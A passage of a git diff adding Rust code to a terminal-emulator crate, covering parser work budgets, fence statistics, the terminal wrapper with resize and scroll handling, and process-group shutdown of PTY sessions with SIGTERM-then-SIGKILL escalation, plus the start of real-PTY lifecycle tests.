clamping `N` to `columns` only brings that to +/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the +/// atom, not the budget, would decide the bound. Stopping at the fixed point +/// makes it `columns`, and the budget goes back to being the thing that sets +/// the bound. Every other callback is priced at or below `cells`, which is +/// larger, so this term never dominates. +pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 { + // RIS: both grids plus the primary's configured scrollback. This is the + // largest single callback by a wide margin -- 16x the budget at the + // default 10k depth -- and it is genuinely indivisible, so it is stated + // rather than smoothed. CBT, once terminated at its fixed point, is + // `columns` and never competes. + // + // Saturating, and widened to u64 *before* multiplying. `Size` fields are + // unclamped `usize` with no caller bounding them, so the products here + // are reachable overflows: in debug that is a panic in the accounting + // path, and in release it wraps to a small number, which understates the + // bound -- an overflow that reports the parser as cheap is the worst of + // the three outcomes. + let (columns, lines, scrollback) = (columns as u64, lines as u64, scrollback as u64); + let both_grids = columns.saturating_mul(lines).saturating_mul(2); + let history = scrollback.saturating_mul(columns); + both_grids.saturating_add(history).max(columns) +} + +/// Upper bound on the work a single [`crate::reader::Feeder::drain`] can do. +/// +/// Two irreducible terms on top of [`WORK_BUDGET`], and it is worth being +/// exact about which is which, because I got this wrong first and the +/// fixtures caught it: +/// +/// * The budget is checked *between* slices, so a drain overshoots by up to +/// one whole slice -- not one atom. [`slice_bytes_remaining`] keeps that +/// under one budget wherever its derivation is unclamped. +/// * A callback already running cannot be preempted. RIS at the default 10k +/// scrollback is worth 16x the whole budget on its own, so on such a grid +/// the floor binds and the overshoot is a few of those atoms. No scheduler +/// outside the parser can fix that -- what it can do is *report* it, which +/// is why this is a function callers can read rather than an assumption +/// they inherit. +pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 { + // One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every + // slice against the *remaining* budget, so it cannot start a slice able + // to hold more work than is left. What it cannot do is preempt a callback + // that has begun, which is where this term comes from. + WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback)) +} + +/// Max bytes that may sit unparsed before the reader must stop reading the +/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold. +pub const TAIL_CAP: usize = 4 << 20; + +/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so +/// the reader does not flap between full and one-byte-below-full. +pub const TAIL_RESUME: usize = 1 << 20; + +/// Which fences are active. Both on in production. +/// +/// The mutation law requires exercising each fence with the other **disabled**, +/// because F1's abort releases the sync buffer in small pieces and thereby +/// masks a miscounting F2. This is deliberately a runtime value and not a cargo +/// feature: a fence that can be compiled out is one more way for a gate to pass +/// green over code that never ran. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Fences { + /// F1: abort a synchronized update at [`SYNC_CAP`]. + pub sync_abort: bool, + /// F2: rebuild the parser at [`OSC_BUDGET`]. + pub osc_budget: bool, +} + +impl Default for Fences { + fn default() -> Self { + Self { + sync_abort: true, + osc_budget: true, + } + } +} + +impl Fences { + /// Production configuration: both fences enforced. + pub const ALL: Self = Self { + sync_abort: true, + osc_budget: true, + }; + /// F2 alone — the arm that can observe F2's counting, unmasked by F1. + pub const OSC_ONLY: Self = Self { + sync_abort: false, + osc_budget: true, + }; + /// F1 alone. + pub const SYNC_ONLY: Self = Self { + sync_abort: true, + osc_budget: false, + }; + /// Neither — the unfenced control that shows what upstream does alone. + pub const NONE: Self = Self { + sync_abort: false, + osc_budget: false, + }; +} + +/// Per-run fence observations. Every field is what some gate asserts on. +/// +/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2 +/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes +/// (omitting flush routes, or charging raw input) still resets — only the +/// charge total distinguishes those. One counter cannot see both mutations. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct FenceStats { + /// F1 aborts performed. + pub sync_aborts: u64, + /// Largest number of bytes released to the parser by a single flush, + /// whether via an F1 abort or a legitimate end-of-update. This is the + /// quantity that bounds one lock hold. + pub max_release: usize, + /// F2 parser rebuilds performed. + pub osc_resets: u64, + /// Parser-visible bytes charged against the F2 budget, cumulative across + /// resets. Includes every flush route, not just directly-advanced input. + pub charged_bytes: u64, + /// Parser units completed: one per `Handler` callback dispatched, which is + /// one per fully-parsed escape sequence or printed character. + /// + /// Separate from `charged_bytes` because they answer different questions + /// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite + /// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory; + /// units are the proxy for time. See [`crate::units`]. + pub completed_units: u64, + /// Cost-weighted work completed, in cell-equivalents: an O(cells) callback + /// charges `columns * lines`, an O(1) callback charges 1. + /// + /// Deliberately a second number rather than a replacement for + /// `completed_units`. They answer different questions -- "how many things + /// happened" versus "how much did they cost" -- and a stream of `ESC#8` + /// makes them disagree by four orders of magnitude, which is the entire + /// reason this fence exists. + pub completed_work: u64, + /// Deepest the unparsed tail has been, in bytes. The high-water mark + /// rather than the current depth, because the current depth is zero again + /// by the time a test looks at it. + pub max_pending: usize, + /// Times the tail was at or over [`TAIL_CAP`] at the end of a drain. + /// + /// Loud on purpose. Reaching the cap means the reader kept reading past + /// the point it was told to stop, so the queue bound is being held by + /// nothing; a silent cap would make that indistinguishable from a reader + /// that is obeying. + pub tail_breaches: u64, + /// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`]. + /// Non-zero anywhere but session close is a bug that ate output. + pub abandoned_bytes: u64, +} + +impl FenceStats { + /// Clear all counters. Diagnostics are per-run; a gate that reads a + /// counter accumulated across runs is asserting on the wrong thing. + pub fn reset(&mut self) { + *self = Self::default(); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lib.rs b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs new file mode 100644 index 0000000000..32ebbb1b8f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs @@ -0,0 +1,290 @@ +//! Terminal engine for the Buzz substrate. +//! +//! Owns the emulator: grid state, the parser, the two hardening fences, and +//! the damage encoding the renderer consumes. It does **not** own the PTY, the +//! child process, or the transport — those are the embedder's, so this crate +//! stays testable against byte fixtures with no process and no window. + +pub mod context; +pub mod damage; +pub mod env_fence; +pub mod fences; +pub mod lifecycle; +pub mod listener; +pub mod path; +pub mod reader; +pub mod shared; +pub mod shell; +pub mod units; + +#[cfg(test)] +mod context_tests; +// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check` +// builds these two -- and they drive real PTYs, `libc::kill`, and unix +// permission bits, which do not exist there. Gating the *modules* rather than +// their contents keeps the unix-only shape honest: the code under test is +// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against. +// `context_tests` is pure string logic and stays portable. +#[cfg(all(test, unix))] +mod env_fence_tests; +#[cfg(all(test, unix))] +mod lifecycle_tests; + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::term::{Config, Osc52, Term}; +use alacritty_terminal::vte::ansi::CursorStyle; + +pub use fences::{FenceStats, Fences}; +pub use listener::{Action, Listener}; +pub use shared::{AcquireMeter, AcquireStats, SharedTerminal}; + +/// Which grid a frame or a resize refers to. +/// +/// Generation and dimensions travel together as one value because they answer +/// one question -- "is this the grid I am currently showing?" -- and a consumer +/// that compares them field by field can compare two of the three and be wrong +/// on a resize that changes only the one it skipped. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Viewport { + /// Advances on every *applied* resize. A same-size resize is inert and + /// does not advance it, so an unchanged `ResizeObserver` tick cannot look + /// like a discontinuity. + pub generation: u64, + pub columns: usize, + pub screen_lines: usize, +} + +/// Terminal dimensions in cells, plus how much scrollback to retain. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Size { + pub columns: usize, + pub screen_lines: usize, + pub scrollback: usize, +} + +impl Default for Size { + fn default() -> Self { + Self { + columns: 80, + screen_lines: 24, + scrollback: 10_000, + } + } +} + +impl Dimensions for Size { + fn total_lines(&self) -> usize { + self.screen_lines + self.scrollback + } + + fn screen_lines(&self) -> usize { + self.screen_lines + } + + fn columns(&self) -> usize { + self.columns + } +} + +/// Build the emulator config. +/// +/// Written as an explicit literal rather than `..Default::default()` so that +/// every security-relevant field is stated here and an upstream default change +/// cannot alter our posture silently. In particular `osc52` defaults to +/// `OnlyCopy` upstream, which would let terminal output write the user's +/// clipboard; we disable it outright. +pub fn config(size: Size) -> Config { + Config { + scrolling_history: size.scrollback, + default_cursor_style: CursorStyle::default(), + vi_mode_cursor_style: None, + semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"), + kitty_keyboard: false, + osc52: Osc52::Disabled, + } +} + +/// A terminal: emulator state plus the fenced parser that drives it. +pub struct Terminal { + term: Term, + feeder: reader::Feeder, + size: Size, + generation: u64, +} + +impl Terminal { + pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver) { + let (listener, actions) = Listener::new(); + let term = Term::new(config(size), &size, listener); + ( + Self { + term, + feeder: reader::Feeder::new( + fences, + size.columns, + size.screen_lines, + size.scrollback, + ), + size, + generation: 0, + }, + actions, + ) + } + + /// Feed PTY output through the fences into the emulator. + /// + /// Parses what one work budget affords and returns with the rest held as + /// a pending tail, so one call cannot hold the terminal for an unbounded + /// time. **The caller must pump [`Terminal::drain`] until it returns + /// false**, releasing the lock between calls; that is the whole point -- + /// the tail exists to give the renderer a chance at the lock, not to defer + /// work indefinitely. [`Terminal::pending_bytes`] and + /// [`Terminal::tail_full`] tell the reader when to stop reading the PTY. + pub fn feed(&mut self, bytes: &[u8]) -> bool { + self.feeder.feed(&mut self.term, bytes) + } + + /// Parse more of the pending tail. Returns whether any remains. + pub fn drain(&mut self) -> bool { + self.feeder.drain(&mut self.term); + self.feeder.pending_bytes() > 0 + } + + /// Feed and parse to completion, without the intervening lock releases. + /// + /// For tests and for callers with no renderer contending -- it reinstates + /// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it + /// is deliberately a separate name rather than a flag on `feed`. + pub fn feed_fully(&mut self, bytes: &[u8]) { + self.feed(bytes); + while self.drain() {} + } + + /// Bytes accepted but not yet parsed. + pub fn pending_bytes(&self) -> usize { + self.feeder.pending_bytes() + } + + /// Whether the tail is at its cap and the reader must stop reading. + /// See [`reader::Feeder::tail_full`] for why production deliberately has + /// no consumer yet. + /// + /// There is no production consumer today, deliberately: the desktop + /// runtime pumps `drain()` to completion after every read, so the tail is + /// empty between iterations. A future reader that defers pumping must + /// consult this signal before accepting more PTY bytes. + pub fn tail_full(&self) -> bool { + self.feeder.tail_full() + } + + /// Whether a paused reader may resume. + pub fn tail_drained(&self) -> bool { + self.feeder.tail_drained() + } + + /// Discard the unparsed tail. Session close only -- see + /// [`reader::Feeder::abandon_tail`]. + pub fn abandon_tail(&mut self) -> usize { + self.feeder.abandon_tail() + } + + pub fn stats(&self) -> FenceStats { + self.feeder.stats() + } + + pub fn reset_stats(&mut self) { + self.feeder.reset_stats(); + } + + pub fn size(&self) -> Size { + self.size + } + + /// The grid as it stands now. Stamped onto each [`damage::Frame`] so a + /// consumer can tell that a frame describes a *different* grid than the one + /// it last drew, without having to infer it from message ordering. + pub fn viewport(&self) -> Viewport { + Viewport { + generation: self.generation, + columns: self.size.columns, + screen_lines: self.size.screen_lines, + } + } + + /// Apply a new viewport. + /// + /// Takes one target size, never a stream of them: resize is superlinear in + /// scrollback (2.5-4.7 ms per single column change at 10k history, and 40 + /// sequential 1-column steps cost 7.4x their coalesced equivalent), and it + /// runs while holding the terminal. Coalescing is the caller's job; this + /// function's job is to make the result observable. + /// + /// A resize forces a full damage frame -- upstream's `TermDamageState` + /// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what + /// keeps the encoder's per-line hashes from suppressing reflowed content. + /// The generation bump is belt-and-braces on top of that: it lets the + /// consumer *verify* it received the discontinuity rather than assume it. + /// + /// Returns the viewport that is now in effect, which is not necessarily the + /// one requested: a same-size call is inert and returns the current + /// generation unchanged. Returning it here rather than making the caller + /// ask afterwards matters across a transport -- a follow-up query races the + /// next resize, so the answer could describe a grid that had already been + /// replaced by the time it was read. + pub fn resize(&mut self, size: Size) -> Viewport { + if size == self.size { + return self.viewport(); + } + self.term.resize(size); + self.feeder.resize(size); + self.size = size; + self.generation += 1; + self.viewport() + } + + /// Move the viewport through scrollback. **Positive moves *into* history.** + /// + /// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a + /// second convention in the middle of the stack is a bug waiting for the + /// one caller who reads the wrong doc comment. The DOM has the opposite + /// sense, and the embedder converts once, at the command boundary. + /// + /// Returns whether the viewport actually moved. Both ends of history clamp + /// silently upstream, and a caller that repaints on every request would + /// repaint for the whole tail of a momentum gesture after it had already + /// hit the top. Every scroll that *does* move is a full repaint, because + /// `Term::scroll_display` marks the grid fully damaged. + pub fn scroll(&mut self, lines: i32) -> bool { + self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines)) + } + + /// Return the viewport to the live edge. Returns whether it moved. + /// + /// Output alone does not do this: once scrolled back, the grid pins the + /// viewport and lets new lines accumulate above it + /// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the + /// embedder ties it to user input. + pub fn scroll_to_bottom(&mut self) -> bool { + self.scroll_display(alacritty_terminal::grid::Scroll::Bottom) + } + + /// How far the viewport sits above the live edge, in lines. + pub fn display_offset(&self) -> usize { + self.term.grid().display_offset() + } + + fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool { + let before = self.display_offset(); + self.term.scroll_display(scroll); + self.display_offset() != before + } + + pub fn term(&self) -> &Term { + &self.term + } + + pub fn term_mut(&mut self) -> &mut Term { + &mut self.term + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs new file mode 100644 index 0000000000..dbd76f56e2 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs @@ -0,0 +1,267 @@ +//! Child-process lifecycle for spawned PTY sessions. +//! +//! Closing a terminal tab must actually end the work the tab was doing. That +//! is harder than calling `kill`, for two reasons that both come from the +//! child being a *session leader* rather than an ordinary subprocess. +//! +//! **1. The child is not the only process.** `portable-pty` calls `setsid()` +//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process +//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded +//! `sleep` — joins that group or a descendant of it. Signalling the shell's +//! pid alone reaches the shell. A shell that exits without forwarding the +//! signal leaves its children running, reparented to init, holding the pty +//! slave open. That is a leak that survives the window closing. +//! +//! So we signal the **process group** (`kill(-pgid)`), not the pid. +//! +//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for +//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits +//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again +//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild. +//! It is a correct API for "end this process"; ours is "end this session". +//! +//! ## The escalation +//! +//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to +//! the group **whether or not the leader went quietly** -- see `shutdown` for +//! why a polite leader does not imply an empty group. +//! `SIGTERM` first because a shell asked to terminate cleanly will flush its +//! history and let `vim` write its swap file; going straight to `SIGKILL` +//! guarantees no process ever gets that chance. The bounded wait is what makes +//! the escalation real — without it, `SIGKILL` either races the polite path +//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring +//! child immortal). +//! +//! ## What this deliberately does not do +//! +//! A process that has called `setsid()` for *itself* has left our group, and +//! no group signal reaches it. `nohup`, a daemonising build tool, and +//! `tmux`-style servers all do this on purpose. We do not hunt the process +//! tree to find them: walking children to signal them is a race against a +//! moving tree — a pid read and then signalled may be a *different* process by +//! the time the signal lands, and killing a stranger's pid is a far worse bug +//! than leaking a daemon the user deliberately detached. Detaching from the +//! session is the documented way to survive one's terminal, and honouring it +//! is correct behaviour, not a gap. + +use std::io; +use std::time::{Duration, Instant}; + +use portable_pty::Child; + +/// How long the group gets to honour `SIGTERM` before `SIGKILL`. +/// +/// Long enough for a shell to run its exit trap and for an editor to write a +/// swap file; short enough that closing a tab never feels stuck. Tab close is +/// not synchronous with this wait in the UI, so this is a cleanup deadline, +/// not a frame budget. +pub const TERM_GRACE: Duration = Duration::from_millis(250); + +/// Poll interval while waiting for the child to exit. +/// +/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a +/// deadline without a second thread, and the whole point of the grace period +/// is that it expires. +const POLL_INTERVAL: Duration = Duration::from_millis(5); + +/// How a session ended. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Shutdown { + /// Already gone before we signalled. + AlreadyExited, + /// Exited within [`TERM_GRACE`] of `SIGTERM`. + Terminated, + /// Ignored or outlived `SIGTERM`; the group was killed. + Killed, +} + +/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded +/// wait, then `SIGKILL` to the group if anything is still there. +/// +/// Reaps the child before returning, so the caller cannot leave a zombie by +/// dropping the handle. Returns which arm ended it, which is what a test can +/// assert on — "did it die" is satisfied by both arms and so distinguishes +/// nothing. +#[cfg(unix)] +pub fn shutdown(child: &mut Box) -> io::Result { + // Reap first. A child that already exited still has a pid slot until it is + // waited for, and that pid is reusable the moment it is released -- so + // signalling without checking is how a cleanup path eventually signals an + // unrelated process. Check before signalling, every time. + if child.try_wait()?.is_some() { + return Ok(Shutdown::AlreadyExited); + } + + let Some(pid) = child.process_id() else { + // No pid means nothing to signal; still ensure it is reaped. + child.wait()?; + return Ok(Shutdown::AlreadyExited); + }; + let pid = pid as i32; + + signal_group(pid, libc::SIGTERM); + let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE); + + // Sweep the group unconditionally, *including* when the leader exited + // politely. The leader's exit is not the session's end: anything it + // backgrounded that ignores SIGTERM is still running, still in the group, + // and still holding the pty. Returning `Terminated` at that point reports + // success over a leak. + // + // Ordering with the reap is a safety requirement, not a preference. A + // process group id *is* the leader's pid, and the kernel may recycle that + // pid once the leader is reaped -- at which point `kill(-pid)` names some + // unrelated group. An exited-but-unreaped leader is a zombie, and a zombie + // is still a group member, so the id cannot be reused while we hold it. + // Signal first, reap second, and the window does not exist. + signal_group(pid, libc::SIGKILL); + + // SIGKILL cannot be caught, so this terminates. It is still a `wait` + // rather than an assumption: the pid must be reaped, and the exit status + // is only available to whoever reaps it. + child.wait()?; + + Ok(if leader_honoured_term { + Shutdown::Terminated + } else { + Shutdown::Killed + }) +} + +/// Sends `signal` to `pid`'s process group, falling back to the pid alone. +/// +/// The fallback matters: `kill(-pgid)` requires the child to *be* a group +/// leader, which it is only because `portable-pty` called `setsid()`. If that +/// ever stops being true, a pid-scoped signal still ends the shell — degraded +/// (grandchildren survive) rather than a silent no-op. +/// +/// Errors are deliberately not propagated. Every failure mode here means the +/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`), +/// and in both cases the following `wait` is the authority on what happened. +#[cfg(unix)] +fn signal_group(pid: i32, signal: i32) { + // SAFETY: `kill` with a negative pid targets the process group; both + // arguments are plain integers and the call has no memory effects. + let sent = unsafe { libc::kill(-pid, signal) }; + if sent != 0 { + // SAFETY: as above. + unsafe { libc::kill(pid, signal) }; + } +} + +/// Polls until the leader has exited, or `deadline` passes. Returns whether it +/// exited in time. +/// +/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would +/// release the process group id before the sweep above can use it. `WNOWAIT` +/// reads the child's exit state and leaves it waitable, so the zombie stays +/// and keeps the group id reserved for us. +/// +/// `waitid`, not `waitpid`, and that is a portability requirement rather than +/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on +/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on +/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a +/// child that has plainly exited. That failure is silent in the shape this +/// function had — an error is indistinguishable from "not exited yet", so the +/// grace period could never be honoured and *every* shutdown escalated to +/// `SIGKILL`, reporting `Killed` for a child that died politely on the first +/// `SIGTERM`. The polite arm was dead code on the platform we develop on. +/// +/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so +/// the out-parameter must be zeroed before each call and the *pid*, not the +/// return code, is the answer. +#[cfg(unix)] +fn leader_exited_by(pid: i32, deadline: Instant) -> bool { + loop { + // SAFETY: `info` is a valid, fully-initialised out-pointer for the + // duration of the call. `WNOWAIT` leaves the child waitable, so the + // later `wait` still returns its status. + let exited = unsafe { + let mut info: libc::siginfo_t = std::mem::zeroed(); + let rc = libc::waitid( + libc::P_PID, + pid as libc::id_t, + &mut info, + libc::WEXITED | libc::WNOHANG | libc::WNOWAIT, + ); + rc == 0 && info.si_pid() == pid + }; + if exited { + return true; + } + if Instant::now() >= deadline { + return false; + } + std::thread::sleep(POLL_INTERVAL); + } +} + +/// Maximum concurrent terminal sessions. +/// +/// Each session costs a pty pair (two fds), a reader thread, and a scrollback +/// grid -- at the default 10k lines x 80 cols that is megabytes of resident +/// memory per tab. The cap exists because tab creation is one keystroke and +/// nothing else bounds it: without a limit, a held-down shortcut exhausts the +/// process fd table, and the first thing to fail is not the terminal but +/// whatever *else* in Buzz next asks for a file descriptor -- the relay +/// socket, a database handle. A resource a UI can allocate in a loop needs a +/// ceiling that fails in its own subsystem. +/// +/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`, +/// kept deliberately: it is far above any plausible human tab count and far +/// below the default 256-fd soft limit, so it bounds the runaway case without +/// ever being reachable by hand. +pub const MAX_LIVE_SESSIONS: usize = 20; + +/// A reader that is still consuming the PTY master, to be stopped only after +/// the session has been torn down. +/// +/// This exists because the correct close order is not the obvious one, and +/// nothing in the type system otherwise prevents the wrong one. Mari's ruling +/// (`62509b91`) is that **the reader outlives child termination and reap**: +/// +/// 1. mark the session closing and stop publishing to the UI; +/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*; +/// 3. only then close the master and join the reader. +/// +/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it +/// is not a hypothetical: a child blocked writing into a master nobody reads +/// does not die promptly even on `SIGKILL`, because the kernel completes the +/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a +/// `SIGKILL`ed child against an undrained master, versus microseconds when +/// drained. Join the reader first and every tab close pays that, on the arm +/// where the user is already waiting. +pub trait DrainingReader { + /// Detach parser work and enter raw-drain mode before child termination. + fn begin_closing(&self); + + /// Wake a reader that remains blocked after the child has been reaped. + fn stop(&self); + + /// Releases the reader thread. Called only after [`DrainingReader::stop`]. + fn join(self: Box); +} + +/// Ends a session in the order the drain law requires, and returns how it +/// ended. +/// +/// The ordering is enforced by ownership rather than by documentation: this +/// function takes the reader **by value**, so a caller cannot have joined it +/// beforehand -- a joined reader has been consumed and cannot be passed here. +/// The only way to use this API is the correct order. A comment saying "do not +/// join the reader first" is advice; a moved value is a compile error. +#[cfg(unix)] +pub fn shutdown_draining( + child: &mut Box, + reader: Box, +) -> io::Result { + reader.begin_closing(); + // Terminate and reap with the reader still running, so the child never + // blocks in a tty write while we are waiting on it. + let outcome = shutdown(child); + // Unconditional: wake and release the reader whether or not shutdown + // reported an error. EOF may already have ended it; stop is idempotent. + reader.stop(); + reader.join(); + outcome +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs new file mode 100644 index 0000000000..3ddeadbf92 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs @@ -0,0 +1,581 @@ +//! Lifecycle gates: the session dies, the grandchild dies with it, and the +//! login `argv[0]` the child actually receives is the one we computed. +//! +//! Every test here drives a real PTY and a real process tree. A mock child +//! would let us assert that we *called* `kill`, which is the half we already +//! know; the property under test is what the kernel does with a process group +//! we do not fully control. + +use crate::env_fence::fence_env; +use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE}; +use crate::path::user_shell_path; +use crate::shell::{login_argv0, resolve_shell}; +use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize}; +use std::sync::atomic::Ordering; +use std::time::{Duration, Instant}; + +/// Upper bound on any wait in this file. +/// +/// Every wait here is bounded, and that is not caution -- it is the lesson +/// from a probe of an interactive child that read to EOF and hung for 300 s. +/// A PTY master does not reach EOF while any process holds the slave open, so +/// "read until the child is done" is not a terminating program. Bound the +/// read, or poll for the observable effect. +const BOUND: Duration = Duration::from_secs(10); + +/// Self-destruct deadline, in seconds, for fixture processes built to ignore +/// signals. +/// +/// Comfortably longer than [`BOUND`], so it can never end a process while the +/// test is still observing it -- a watchdog that fires inside the observation +/// window would make a *failing* implementation look correct. Short enough +/// that a crashed run does not leave a core spinning until reboot. +const WATCHDOG: u64 = 60; + +fn open_pty() -> PtyPair { + native_pty_system() + .openpty(PtySize { + rows: 24, + cols: 80, + pixel_width: 0, + pixel_height: 0, + }) + .expect("openpty") +} + +/// Drains the PTY master in the background for as long as it stays open. +/// +/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in +/// the first version of this file. A PTY has a small kernel buffer, and a +/// child writing into a master nobody reads blocks in `write()` once it fills. +/// A process blocked in an uninterruptible tty write does not die promptly on +/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down +/// the tty session first, so `wait()` sits there while the reap completes. +/// Measured directly with a `forkpty` C probe: with the master undrained, a +/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the +/// product drains its master continuously -- that is what a renderer *is* -- +/// so a test that doesn't is modelling a configuration that never ships. +/// +/// The consequence is worth stating for the embedder: **shutdown must not be +/// called after the reader has stopped.** Tear the session down while output +/// is still being consumed, or the grace period is spent waiting on a +/// self-inflicted stall. +fn drain(pair: &PtyPair) { + let mut reader = pair.master.try_clone_reader().expect("reader"); + std::thread::spawn(move || { + use std::io::Read; + let mut buf = [0u8; 4096]; + while matches!(reader.read(&mut buf), Ok(n) if n > 0) {} + }); +} + +/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced. +fn spawn_script(pair: &PtyPair, script: &str) -> Box { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let mut cmd = CommandBuilder::new("/bin/sh"); + fence_env(&mut cmd, &user_shell_path(), &shell); + cmd.arg("-c"); + cmd.arg(script); + let child = pair.slave.spawn_command(cmd).expect("spawn"); + drain(pair); + child +} + +/// True while `pid` exists. `kill(pid, 0)` performs the permission and +/// existence checks without delivering a signal. +fn pid_alive(pid: i32) -> bool { + // SAFETY: signal 0 delivers nothing; both arguments are integers. + unsafe { libc::kill(pid, 0) == 0 } +} + +/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did. +/// +/// Polling for the observable state rather than sleeping a fixed duration: a +/// sleep long enough to be reliable is slow, and a sleep short enough to be +/// fast is a race that fails on a loaded machine. Both are worse than asking. +fn poll_until(mut f: impl FnMut() -> bool) -> bool { + let deadline = Instant::now() + BOUND; + while Instant::now() < deadline { + if f() { + return true; + } + std::thread::sleep(Duration::from_millis(5)); + } + false +} + +/// Reads a file until it is non-empty or `BOUND` elapses. +fn read_when_written(path: &std::path::Path) -> Option { + let mut found = None; + poll_until(|| match std::fs::read_to_string(path) { + Ok(text) if !text.trim().is_empty() => { + found = Some(text.trim().to_owned()); + true + } + _ => false, + }); + found +} + +/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it. +/// +/// The distinction matters: `Killed` and `Terminated` both leave a dead +/// process, so asserting death alone would pass with `SIGTERM` deleted +/// entirely and the grace period reduced to a delay before `SIGKILL`. +#[test] +fn cooperative_child_exits_on_term_not_kill() { + let pair = open_pty(); + let mut child = spawn_script(&pair, "sleep 30"); + let pid = child.process_id().expect("pid") as i32; + + let outcome = shutdown(&mut child).expect("shutdown"); + assert_eq!( + outcome, + Shutdown::Terminated, + "a child that dies on SIGTERM must not have needed SIGKILL" + ); + assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown"); +} + +/// A child that ignores `SIGTERM` must still die, and the escalation must be +/// what kills it. +/// +/// The fixture shape is load-bearing and my first one was vacuous. I wrote +/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and +/// reported `Terminated` -- the polite arm, on a child built to defeat it. +/// The reason is that `sh` does not ignore a signal on its child's behalf: the +/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell +/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits +/// normally. The trap was real, the ignoring was real, and the process still +/// died on `SIGTERM` -- through a path the test wasn't looking at. +/// +/// Had I not checked *which* arm fired, this would have passed for the wrong +/// reason and gone on "proving" an escalation it never exercised. The loop +/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the +/// trap actually governs the shell's own fate and only `SIGKILL` can end it. +/// +/// The readiness handshake closes a second, subtler version of the same +/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a +/// command the shell has to reach: a signal delivered in the interval between +/// `exec` and that line finds the default disposition and kills the shell +/// outright. Isolated with a `forkpty` probe -- identical binary, only the +/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms +/// all four died with signal 15. A fixture that is only *probably* armed makes +/// this test a race whose failure mode is a false pass. +/// +/// This is the arm that fails if the escalation is deleted -- and the +/// `WATCHDOG` is what makes that a *failure* rather than a hang. With +/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`, +/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only +/// by the harness timing out. A test that detects a bug by never finishing is +/// indistinguishable from a broken test. The deadline converts it into a +/// bounded, reportable failure. +#[test] +fn signal_ignoring_child_is_killed_after_the_grace_period() { + let dir = tempdir("buzz-terminal-trap"); + let ready = dir.join("armed"); + + let pair = open_pty(); + // The readiness file is written *after* the trap is installed, so waiting + // on it converts 